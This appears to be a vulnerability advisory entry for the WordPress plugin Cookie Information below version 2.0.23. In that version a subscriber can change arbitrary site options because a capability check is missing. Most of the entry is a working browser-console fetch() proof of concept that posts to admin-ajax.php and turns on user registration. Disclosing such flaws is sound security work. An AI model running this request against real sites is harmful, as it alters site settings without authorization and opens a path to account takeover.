Cookie Information < 2.0.23 - Subscriber+ Arbitrary Options Update

2024-01-3100:00:00

wpvulndb

cookie information

arbitrary options update

developer console

web browser

blog

subscriber user

command

admin-ajax.php

security

exploit

8.7 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

19.5%

JSON

Description The plugin is vulnerable to arbitrary option updates due to a missing capability check on its AJAX request handler, allowing any authenticated users, such as subscriber to update arbitrary site options

Run the below command in the developer console of the web browser while being on the blog as subscriber user to set the users_can_register option to true.

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=wpgdprc_update_integration&data={"name":"users_can_register","value":true,"type":"yolo"}&security=' + wpgdprcAdmin['ajaxNonce'],
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));